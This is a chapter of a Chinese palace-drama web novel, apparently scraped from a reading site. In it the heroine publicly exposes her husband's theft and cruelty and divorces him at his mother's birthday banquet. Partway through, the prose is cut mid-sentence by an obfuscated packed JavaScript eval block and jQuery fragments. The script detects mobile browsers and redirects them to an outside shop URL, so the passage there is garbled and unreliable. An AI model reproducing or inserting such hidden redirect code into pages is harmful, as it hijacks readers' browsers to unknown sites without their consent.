“柳如烟,你说的,是陆峥,偷了我半数嫁妆?”
众宾客,嗅到了一丝特别的意味,不由自主地闭上了嘴,厅内四寂。
“是,都是侯爷一人所为。”
崔俪兰缓缓站了起来,步履从容,朗声质问:“我崔俪兰幼承庭训,学的是闺训,守的是族规,自然知晓,为女子当是要遵守在家从父,出嫁从夫,是以三年来,陆峥,从未踏足我的屋中,我依然毫无怨言地掌管中馈,拿着自己半数嫁妆贴补侯府。”
“可我没想到,府中居然出了‘硕鼠’,搬空了我的嫁妆,去贴补一个外人。”
“呵,那当日跪地求娶,又算什么情深。”
“若是,因我无子,纳妾休妻我都毫无怨言。”她顿了顿,面露苦笑,现场所有人目光都落在她脸上。
“直到,前些日子,陆峥,带了一个有孕的外室进府,还让府里不得外传此事。”
她自嘲一笑:“我在这府里没有半分回旋的余地,一气之下,我就回了娘家。”
这里她故作愁苦:“我本以为,陆峥会改,他倒好,让自己母亲在前面冲锋陷阵,自己却躲在后面逍遥快活。最后,却不情不愿地负荆请罪,好似谁逼他似的。”
崔俪兰颔首,忽然偏过来,目光冷然地盯着陆峥:“陆峥。”
陆峥被这一眼盯得脊背生寒,大夏天好似吃了冰。
崔俪兰偏过身来,缓步往前逼近,背着光,她好似一个全身发着光的复仇使者。
可那身姿却挺拔如竹。
“当初违背两家百年之好的明明是你,你怎么好意思,都推给我,说是我的错。”
她忽然摇着头,荒唐一笑:“你明明身有隐疾,为什么还要求娶我?欺瞒我?”
崔俪兰每说一句,便向前一步,气势节节攀升。陆峥本就理亏,心下又心虚,被吓得面无人色,连连后退。柳如烟仍瘫软在地,直不起身。陆老侯爷捂着胸口,有些喘不过气,已是摇摇欲坠。
众人又闻到了八卦的气息,纷纷竖起耳朵仔细听起,那神情好似恨不得抓一把瓜子吃瓜。
崔家众人早已一脸激动,崔母和林舅母眼含热泪、红了鼻尖;康王皱着眉不知在思索什么,一直坐局外人的康王妃也不知何时放下了筷子,静静看着崔俪兰陈词,表情怪异;裴元瑾紧紧揪着雍王的衣摆,雍王也没出声哄他,只是手中把玩着一只酒盅。
【天呐!陆峥居然身有隐疾?】
【我一直追剧我怎么不知道此事?】
【女主宝宝好可怜,好心疼 ~】
【崔俪兰居然吃了这么多苦,天杀的永宁侯府】
“我都已经。”她顿了顿,抿嘴惨笑,发出嘶哑气音,那么轻、那么小声,却像针一样刺在众人耳中,“妥协了。”
“你为什么就是不放过我!”她嘶吼出声,“你们要钱,拿去就好了,我只想活着,就连这样,也不愿意让我活?”
“这就是你说的死生契阔?这就是你说的世家体面?这就是你说的相夫教子?”
陆峥一惊,往后一退,绊到腿边的板凳,狼狈地摔了个狗吃屎,身旁的吃瓜人士慌张地往旁边闪避。
崔俪兰走到他跟前,居高临下睥睨质问:“还是说,在你们永宁侯府眼里,人命贱如草芥,钱财就比命根子还重要?”
陆峥满脸血地抬头,仰视着她,一个劲地摇头,目光呆滞地抹了把脸,哑口无言,却没有一个人来扶他。
崔俪兰收回哀痛之色,面色平静:“陆峥,你宠妾灭妻,纵容柳氏偷盗主母嫁妆、构陷于我;你伙同奸人,侵吞我的嫁妆,残害于我;你治家无方,纵母行凶,意图毒杀发妻。”
“种种罪行,令人发指;桩桩件件,证据确凿,你现在,还有何话可说?”
陆峥浑身剧烈颤抖着,整个人都有些惊惧。
“今日,便请两位殿下与在场诸位,为我崔俪兰做个见证。”
她深吸一口气,将那酝酿了三年,压抑了三年,挣扎了三年的一句话,终于冲破所有枷锁,释放在永宁侯府寿宴的华堂之上。
“我要,休夫!”
此言一出,满堂皆惊。
【休夫+1】
【休夫+2】
……
【休夫+10086】
崔俪兰面无表情。
她只是神色平静地看着眼前这个懦弱的男人,看着这个她曾真心仰慕、曾以为可以托付终身的男人。此刻他狼狈、仓皇、面目可憎,比世上最丑的怪物还丑陋。
她以为自己会痛快,会如释重负,会畅快淋漓。
可真的到了这一刻,她只觉得。
累。
好累啊。
还有,从未有过的释怀。
“陆峥。”
陆峥被这一声唤得还是浑身一震。
“休书写在何时、何处、何种情境,我设想过很多次。”
她从袖中缓缓取出一张折叠整齐的纸,展开。纸是上好的玉版宣,墨迹早已干透,显然备下多时,“在锦兰苑,在崔府,在公堂之上,还是在无人知晓的角落。”
她顿了顿,目光落在他脸上,没有恨,也没有怨,唯有平静而已
“唯独没想过,是在你母亲寿宴的此刻。”
陆峥喉结滚动,想说点什么,却发不出声。
崔俪兰将休书举起,对着两位王爷的方向,对着崔家女眷的方向,对着这大厅内的诸多宾客。
“依《大周律·户婚》第十三条:夫有恶疾,妻可求离。”
“依第十七条:夫盗卖妻财、侵吞嫁妆价值逾三百两者,妻可求离,并追还三倍。”
“依第廿一条:夫纵人诬告、陷害发妻,致妻名节受损者,妻可求离,官府当究其罪责。”
“依第卅五条:夫宠妾灭妻、纵妾凌辱正室者,妻可求离,妾当受笞刑发卖。”
她每念一条,陆峥的脸色就白一分。
到最后,刚起身的他几乎站不稳,踉跄后退,有一次撞翻了身后的圆凳摔倒在地。
“这三年来,你身患恶疾,欺瞒于我,是为不诚;你挪用嫁妆,侵吞妻财,是为不义;你纵容柳如烟偷盗、构陷,是为不公;你明知母亲毒计却不阻止、甚至默许,是为不孝;你宠妾灭妻、冷落发妻违背婚约三年,是为不仁。”
“如此不诚、不义、不公、不孝、不仁之人,岂堪为夫?”
“陆峥,你已然五德俱丧,五伦尽失。”
“就你这样的人,”她一字一顿,“也配做我崔俪兰的丈夫?配做妻子的天?”
她将休书砸到他面前。
陆峥鼻青脸肿地看着面前的一纸休书缓缓落下,傻愣愣地摇了摇头。
“签字。画押。”
陆峥拿起那纸休书,浑身发抖,看着那纸上力透纸背的字迹,正是崔俪兰的亲笔。她写得一手极漂亮的簪花小楷,此刻那一字一句都好似风霜刀剑般,剜在他脸上,刻骨生疼。
“俪兰……我。”
“你我夫妻三载,这是我对你说的最后一句话。”崔俪兰没工夫听他狡辩,甚至不屑看他,重复道,“签字。画押。”
青霜早已端了笔墨印泥上前,没好气地摔在地上,溅了他一脸一身的墨水。
崔老太君拿起龙头杖轻轻敲了一下地面,不容置疑道:“兰儿叫你签,你便签吧。还能留一个体面。”
陆峥面无人色,垂着头,颤抖着手,伸向那笔墨处,终究没能握住,反而缩了回去,嘴里魔怔似的喃喃道:“崔俪兰岁(是)爱我的,崔俪兰钟情于我,崔俪兰怎么可能、怎么可能,这是假的,这都是假的,我在做梦,对,都是做梦。”
陆峥突然状若癫狂地扑了过去,抱住崔俪兰的小腿,红着眼睛哭喊道:“崔俪兰,崔俪兰,我爱你啊,我真的爱你,我和柳如烟根本就没有什么,是她,都是她勾引我的,我新婚前段时日。有一次,喝多了酒,醒来就在她床上了。”
崔俪兰正要挣脱,却被陆峥拽得更紧,她气急之下,一脚踹在心口正中。
陆峥被踹翻了个跟头,“哇”地吐出好大一口血,他袖口随意抹了一把,捂着生疼的胸口,挣扎着匍匐到崔俪兰脚边,卑微地笑着乞求道:“ 崔俪兰,求求你,听我说完。”
“我脏了,我被她玷污了清白。我配不上你了,因这件事,我心里总是过不去,我收着你给我绣的香囊,打的络子,我心里真的好欢喜,可我也发现自己不行了。”他夸张地张着口,额头青筋暴起,红着眼睛,眼神空洞,神色莫名:“可我,不能失去你。”
他紧抿着唇,眼含热泪,吸了吸鼻子,缓缓抬起头,眼睛往上瞧去:“后来,她怀孕了,我只想着,你做我永宁侯府的正妻,将来柳如烟的孩子记在你名下,也不错。”
“崔俪兰,是她。柳如烟强了我,我才会不行了,我对不起你,我以后一定会好好补偿你的,你要什么我都可以给你,求你,求求你,不要离开我,好吗?”
“说完了吗。”崔俪兰语气平淡,古井无波,“说完了,就把字签了。”
陆峥自嘲一笑,猛地抬头,看向两位王爷所在,匍匐着前行几步,死命磕头,好不凄惨地祈求:“雍王爷,康王爷,求您们大发慈悲帮帮我,救救我。”
康王烦躁地挪着身子,换了一边,不去看嗑得额头青紫的陆峥。
陆峥心中一凉,惨笑着。
“陆侯爷。”雍王看不下去了,他的声音清冷如冰坠寒潭,却好听得好似声击玉缶。
“男儿家,就该拿得起,放得下,当初是你有负于崔氏,沉湎于外室美色,今日又何必遮遮掩掩,这般惺惺作态。何不洒脱些,认了这罪名,甘为弃夫,也还算是个男人。”
陆峥面如土石,狠狠朝崔俪兰磕了三个响头,被她避开。
颤抖的手抬了三次,才终于握住那支笔。
他缓慢地签下自己的名字。
一笔一划,比此生任何一次书写都更沉重。
艰难地放下笔,颤抖着蘸了朱红印泥,将拇指按在那两个名字之间。
——从此夫妻缘尽,恩断义绝。
“当年,山中一见,我对你的心,是真的。”他强忍泪意,眼中水汽氤氲,不知是为失去的爱,还是为了即将失去的前途和钱途。
崔俪兰视若罔闻,收回休夫书,仔细看了一遍,确认无误,这才折起,收入袖中。
她转身,向雍王深深一礼。
“谢殿下今日为妾身做个见证。”
雍王看着她,眼底光芒复杂难辨。他沉默片刻,轻声道:“崔夫人,不,崔姑娘,此去前路,珍重。”
崔俪兰颔首谢过,又转向崔老太君与崔母,终于露出一丝笑意。那是女儿家对长辈的、带着些许撒娇的、真正的笑意。
“三叔祖母,娘,舅母,各位婶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157347|188273||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
娘,兰儿的事办完了。咱们回家吧。”
崔母早已泪流满面,连连点头:“回家,咱们回家。”
崔老太君拄着龙头杖站起身,拍了拍崔俪兰的手,没说一个字,但那掌心的温度,胜似千言。
陆峥在众目睽睽之下,承认了永宁侯府霸占儿媳嫁妆,侯爷甚至拿正室夫人的嫁妆赠送小外室的事实‘永宁侯府陆老夫人残害子嗣嫁祸正妻的丑闻;永宁侯府意图鸩杀发妻的罪名。
此等丑闻,明日必将会传遍整个盛京城。
更是很难不上达天听。
顿时,永宁侯府一众渣滓耳边充斥着的俱是不堪入耳的议论之声。
思及此,老侯爷眼前一黑,直接晕了过去。白姨娘顿时哭天抢地。
陆峥总算明白过来了,他永远失去了崔俪兰,失去了他好不容易求来的“此生挚爱”,也失去了他的荣华富贵和青云之路。
他此时已失去全部气力,手也抬不起来,捂着胸口的手颤颤巍巍。
陆峥面如死灰,徒劳地想解释:“我没有,想害死你,都是她胡说的,是她满口谎言。”
可谁还信他?
他思及此,仰天长笑,声音回荡好似可以穿透长夜。
宾客们看着这彻底失控的场面,看着晕倒的老侯爷、撕打的、崩溃的陆峥和口出惊人的柳如烟,再也忍不住,哄堂大笑起来。
只是这笑声在这喧闹荒唐的氛围里,透着几分诡异。
不知是谁带头说了一句:“侯府今日想必事务繁忙,我等就不叨扰了。”
“对对对,告辞告辞。”
“愿老侯爷。嗯,早日康复。噗……”
宾客们纷纷起身,如同躲避瘟疫一般,争先恐后地离席,脸上还带着憋不住的笑意。
好好一场寿宴,成了全京城最大的笑话,以这种史无前例的荒诞方式收场。
柳如烟瘫坐在地,看着瞬间空空荡荡的宴客厅和满地的一片狼藉,还有不远处脸上胸口一片模糊血迹面色凄苦的陆峥,眼神里却透着一股得逞了的幸灾乐祸。
她好像终于把这个家,彻底搞散了。
也终于实现了自己踏入侯府以后,一直梦寐以求的夙愿,“赶走”正室夫人。
可为什么,她看着崔俪兰潇洒离去的身影,半分喜悦也没有。
【hhh】
【如烟大帝:这个家没我散不了】
【宾客:这瓜太大太馊了,噎住了,先走一步】
【老侯爷:这寿宴办得很好,下次别办了(安详晕倒).jpg】
【值回票价】
【贺礼换回了这么多现场 PPT、 PDF 值了】
【原来今天不是来吃席而是吃瓜来着】
崔俪兰转身,迈步,脊背挺直如松柏。青霜紧随其后,在崔家女眷们的簇拥下离场。
她们穿过满地狼藉的花厅,穿过混乱至极的回廊,穿过人群四散的庭院,直到踏出永宁侯府那扇大开的大门。
康王妃神情复杂地叫住崔俪兰:“崔俪兰。我今日不找你的茬,可不是怕了你了。”
“谢过王妃娘娘。”
康王妃眼里多了点异色,别扭出声:“恭喜。”
“谢了。”
这次是真心的。
崔俪兰头也不回地走了。
康王妃身边的丫鬟问道:“娘娘,崔氏女还是这般目中无人,您就是太心善了。”
康王妃哼了一声:“你懂什么?我这也不过是物伤其类罢了。”
康王妃抬头望天:“或许,不嫁入皇家才会自由些呢。”她吩咐丫鬟,“告诉车夫一声,不用等了,我们先回王府了。”
崔俪兰抬首望月,一行清泪从她的脸颊缓缓流下。
起风了,吹得人青丝缭乱,衣袂翻飞。
此时,暮色四合,月朗星稀,清辉洒满人间。
门外,一辆青帷马车静静候着。
车帘掀起一角,露出一张俊美无俦的脸。
那人眼中有着未散的担忧,更有毫不掩饰的骄傲与欢喜。
他没有说话,只是伸出手。
崔俪兰看着那手,看了片刻,破涕为笑。
她没有立刻握住,而是从袖中取出那纸休书,迎着月色,将它高高举起。
她不顾闺训,呲着牙笑了,笑得牙不见眼:“我做到了,成功休夫。”
晚风轻拂,暖意上头。
裴及安温暖的大手瞬间覆盖住她有些冰凉的小手。
“恭喜你,我的大英雄。”
裴及安眼带笑意,由衷的恭喜着崔俪兰,揽着她上了车,还笑意盈盈地用手护着她的头。
姐姐,恭喜你获得了自由,接下来,就轮到我了。
当夜,崔俪兰便彻底搬离永宁侯府。
她的嫁妆装了整整十车,在夜色中驶向崔家别院。
马车驶过长安街时,崔俪兰掀开车帘,回望了一眼永宁侯府的方向。
那座困了她三年的牢笼,在夜色里渐渐远去。
从此,天高海阔。
她放下车帘,对青霜道:“明日,去宋大家府上,商量女学章程。”
青霜笑着应下。
车窗外,月色正好。
永宁侯府兵荒马乱无人收拾,无人主持,而现在唯一还清醒的主子便是老白姨娘,只是她左等右等不见都宝贝儿子回来。